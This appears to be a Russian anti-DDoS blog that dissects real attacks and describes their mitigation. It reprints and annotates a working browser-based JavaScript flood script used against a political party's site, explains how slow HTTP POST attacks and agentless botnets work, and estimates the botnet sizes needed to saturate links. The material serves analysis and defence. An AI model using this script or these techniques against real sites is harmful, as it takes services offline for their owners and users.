?

Log in

No account? Create an account
DMaaS
anti_ddos
Пора вводить новый термин DMaaS - DDoS Mitigation as a Service.

DDoS сайта партии "Единая Россия"
anti_ddos
Прочитал на ленте (lenta.ru/news/2011/02/25/loic/) о том, что анонимусы c сайта www.putinvzrivaetdoma.org атакуют сайт www.edinros.ru.



На www.putinvzrivaetdoma.org написано следующее: "....Принцип атаки базируется на открытии большого количества подключений с помощью JavaScript на клиентской стороне..."

После прочтения появилось желание поииследовать, но не было на это времени...сегодня удалось уделить время и этому вопросу.
Так, что же происходит? В этом и попробуем разобраться.
После нажатии на красную кнопку на главной, браузер загружает страницу pastehtml.com/view/1dbwbdo.html и начинает с высокой частотой выполнять запросы на www.er.ru



Отркываем 1dbwbdo.html
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta http-equiv="content-type" content="text/html; charset=utf-8" />
  5. </head>
  6. <body>
  7. <script>
  8. (function()
  9. {
  10.     var d = {},f = 0,e = 0; //Объявляем массив и переменные
  11.     setInterval( function()    //http://javascript.ru/setInterval,
  12.     // выполняет код много раз, через равные промежутки времени. Аргументы code, задержка в мс
  13.     {
  14.         if(f<e+1000)  //выполняем пока счетчик f < (1000 + счетик e) (e подсчитывается только если браузер обработал запрос на создание картинки)
  15.         {
  16.             var  a = Math.floor(Math.random()*50), b = new Image; // создаем объект с картинкой
  17.             b.onerror = function()
  18.             {
  19.                 e++; //Ошибка загрузки, увеличиваем счетчик e
  20.                 delete d[a]  //Удалям из массива d элемент a
  21.             };
  22.             b.onabort = function()
  23.             {
  24.                 e++;
  25.                 delete d[a]
  26.             };
  27.             b.onload = function()
  28.             {
  29.                 e++;
  30.                 delete d[a]
  31.             };
  32.        
  33.             b.setAttribute("src","http://rubr.shtml?" + a); //загружаем картинку, обработчики прописаны выше
  34.             d[a]=b; //Добавляем объект картинки в массив
  35.             f++   // увеличиваем счетчик
  36.         }
  37.     },200) //ждем 200мс
  38. }
  39. )
  40. ();
  41. </script>
  42. </body>
  43. </html>


Итог: браузер выполняет запрос раз в 200мс, на URI="http://rubr.shtml?" + a, где a - произвольное значение от 0 до 50, с referer "http://pastehtml.com/view/1dbwbdo.html". 

Твит putinvzrivaet: twitter.com/putinvzrivaet

Slide Show: DDoS With The Slow HTTP POST Attack
anti_ddos
www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html

Обнаружение DDoS атак с помощью Peakflow SP (Threat Management System)
anti_ddos


Новый тип DDoS атак - slow HTTP POST
anti_ddos
Выполнение очень мееедлееенных  HTTP POST запросов может служить причиной DDoS атаки на WEB серверы и может быть организованно ботнетом "без агентов" (agentless).

Ошибка в протоколе HTTP оставляет открытую дверь для злоумышлеников, позволяя тем самым организовать новый вид DDoS атак - флуд веб серверов очень медленными HTTP POST запросами.

На следующей неделе на OWASP 2010 Application Security Conference будет продемонстрирована новая атака, показывающая как онлайн игры могут быть использованы для рекрутинга ботов в agentless ботнет, который выполняет slow HTTP POST DDoS атаки. Жертва "призывается" в ботнет без заражения его вредоносной программой.

Исследователь Wong Onn Chee, который первый обнаружил атаку в 2009 совместно с командой исследователей из Сингапура, говорит что проблема заключается в архитектуре протокола HTTP, тем самым любой веб сервер уязвим подобного вида атакам.
Если ваша система имеет веб интерфейс, то данный вид атак позволит "положить" его без особых проблем. Выходом из этой ситуации Onn Chee видит в использовании SSL VPN для доступа к критичным системам.

Onn Chee и Tom Brennan на предстоящей конференции должны представить исследование по атаке и собрать предложения по её предотвращению.

Slow HTTP POST атаки работает следующим образом: злоумышленник отправляет POST заголовок с легитимным полем "Content-Length", которое позволяет веб серверу понять какой объём данных к нему поступает. Как только заголовок отправлен, тело POST сообщения начинает передаваться с очень медленной скоростью, что позволяет использовать ресурсы сервера намного дольше. 10-ки тысяч таких соединений могут положить веб сервер на несколько минут.

Данная атака в некотором роде напоминает Slowloris -  инструмент для HTTP DDoS атак, созданный  RSnake. Slowloris держит соединение открытым и регулярно выполняет отправку запросов, чтобы не дать закрыться сокету. Но slow HTTP DDoS не может быть предотвращен за счёт балансировки нагрузки как в случае со Slowloris.

Атаке типа slow HTTP DDoS  подвержен как Apache, так и IIS, в отличии Slowloris.

Agentless ботнет использует Java аплет, который запускается во время онлайн игры. Как только жертва принимает self-signed аплет, аплет начинает выполнять HTTP POST DDoS в тот момент пока пользователь играет в онлайн игру. После выхода из игры и закрытия браузера атака прекращается, затем аплет удаляется, что делает его незаметным и трудно отслеживаемым.

Большинство онлайн игр имеет миллионы пользователей одновременно играющих в любое время суток по всему миру, что даёт возможность организации мощных крупномасштабных атак.

Agentless ботнет трудно отследить еще и потому, что нет постоянного источника атаки. Как только жертва закрыла браузер и очистила кэш, после этого уже не остаётся следов для расследования и судебной экспертизы.

Onn Chee говорит, что ни он, ни его команда пока не видели использования данного метода атаки за пределами Китая. 

На этой радостной ноте хочется только добавить - ЖДЁМ!

Google установил новый рекорд Интернет-трафика
anti_ddos
На прошлой неделе компания Google объявила о рекордном доходе в третьем квартале 2010 года - $7.29 млрд (на 23% больше чем в прошлом году).

В этом месяце Google побил не менее внушительный рекорд Интернет-трафика — увеличение свей доли больше чем 1% от  всего Интернет-трафика, начиная с января. Если бы Google был ISP, то как оператор с этого месяца он бы занял второе место на планете по величине.

Пока еще только один глобальный провайдер уровня Tier1 передает больше трафика чем Google.

На графике ниже показан средневзвешенный процент Интернет-трафика генерированного с помощью поиска/ мобильных ОС/ видео/ облачных гигантов. Данные получены от 110+ ISP по всему миру, участвующих в ATLAS. Несколько теневых цветов представляют различные ASN Google и отражают продолжающуюся глобальную стратегию инжиниринга трафика.


 
Google теперь представляет в среднем 6.4 % всего Интернет-трафика во всем мире, а если учитывать использование Google Global Cash(GGC), то приблизительно 8-12%.

То, что Google является гигантом уже ни для кого не новость, но то как он продолжает расти - удивляет!

Быстрый анализ данных показывает, что Google также имеет прямой пиринг с более 70% провайдеров по всему миру (увеличение на 5-10% по сравнению с прошлым годом).

Пока деловая пресса обсуждает возможное будущее Google (cможет ли Google выйти за рамки поиска и продолжить рост доходов?), рост трафика Google по-прежнему увеличивается быстрыми темпами, оказывая соответствующее влияние на топологию сети, пиринговые соглашения и общую инфраструктуру Интернета.
Tags: ,

Защита Дата Центра от DDoS атак - Case Staudy
anti_ddos

Пятничный DDoS. У кого больше?
anti_ddos
08.10.2010, Пятница, 17:10.
Коллеги расходятся по домам, мне нужно еще кое-что доделать, раздается звонок от клиента №1:
- У вас там ничего не случилось?.
- А что?
- Да у нас чёт пакеты теряются.
- Сейчас глянем.

Кладу трубку и тут же получаю алерт от Arbor Peakflow CP. Часть информации вырезал:
Type:        Protocol
ID:          504905
Resource:    <Имя клиента №2>
Severity:    high
Impact:      14.27 Gbps/2.84 Mpps
Link rate:   4.41 Gbps, 4218.770000% of 104.50 Mbps
Protocol:    udp


Цифра в 14,27Гбит/с наталкивает на очень не приятные мысли: 
мысль первая - если это действительно атака, а другого быть не может, то атаку такой мощности на своей сети я вижу впервые
мысль вторая - не может ли данная атака на клиента №2, быть причиной деградации сервиса клиента №1. 

Обе мысли подтвердились. Теперь необходимо было подавить атаку, но сперва немного отступлю. В субботу с утра на www.habrahabr.ru появилась очень интересная статья про 100Гбит/с DDoS (habrahabr.ru/blogs/hosting/105830/), доступ к которой уже закрыт. Прочитать можно тут: akamitch.ru/2010/10/10/100g-ddos
В коментах всречались очень интересные мысли по поводу того как с этим бороться, что дает основание пологать, что проблема ясна далеко не всем. Попытаюсь для начала разобраться с проблемой и затем описать своё видение по тому как с ней бороться.

Проблема:
Атаки направленные на полосу пропускания, а попросту на то, чтобы завалить канал в основном выполняются UDP,ICMP флудом. Для того, чтобы завалить канал клиента достаточно небольшого ботнета.
Например, грубый подсчёт:
канал клиента = 100 мбит/с.
1 бот посылает = 100 пакетов/с
размер пакета = 1500 байт
Трафик генерируемый ботом = 100*1500*8=1,144 мбит/с
Сколько нужно ботов, чтобы затопить канал 100 мбит/с ? N = 100/1,144=87 ботов.
Как видим совсем не много. К тому же количество пакетов я взял не самое большое.

Внешние каналы большинства операторов имеют ширину измеряемую в 10-ках гигабит/с, у единиц  - 100-ни гигабит/с. Зная формулу, можно посчитать какой необходим ботнет. Конечно, его размеры будут варьироваться от многих параметров, но определенно можно сказать, для того, чтобы сгенерировать 100Гбит/с флуда нужен ботнет на сотни тысяч машин и больше.
А теперь необходимо понимание, что сможет сделать с такой атакой оператор. Для того, чтобы очищать паразитный трафик с помощью специализированных средств (Arbor Peakflow SP+TMS, Cisco Guard, Radware DefensePro, Riorey RG 10/20 и т.д.), а не просто его блэкхолить (BGP Blackhole) на апстримах, оператору необходимо иметь пропускную способность каналов = полезный трафик + паразитный, а также систему очистки трафика с пропускной способностью = полезный трафик + паразитный. С учётом 100Гбит/с паразитного трафика, в России можно найти оператора, который переварит такие объемы на внешних каналах, но вот оператора, который имеет устройство очистки в 100Гбит/с - нет! То есть, априори атаку такой мощности можно только блэкхолить. Конечно, в случае ICMP,UDP такие пакеты можно фильтровать с помощью ACL на бордерах, тогда и мощного устройства очистки не нужно, но это сработает только в случае, если на атакуемом сервере не используются данные сервисы или ими можно пренебречь на время атаки. А что делать, если это DNS сервер?

Что дeлали мы?
100Гбит/с на наc не валилось, но и атаки в 14,3 Гбит/с для RUNET редкость. В первую очередь, заблэкхолили атакуемый сервер на апстримах. Так как состоим в Arbor Fingerprint Sharing Alliance нами был написан отпечаток (правило позволяющее идентифировать аномальный трафик) и этот отпечаток был отправлен всем членам альянса. В течении 20 минут атаку на сети удалось подавить.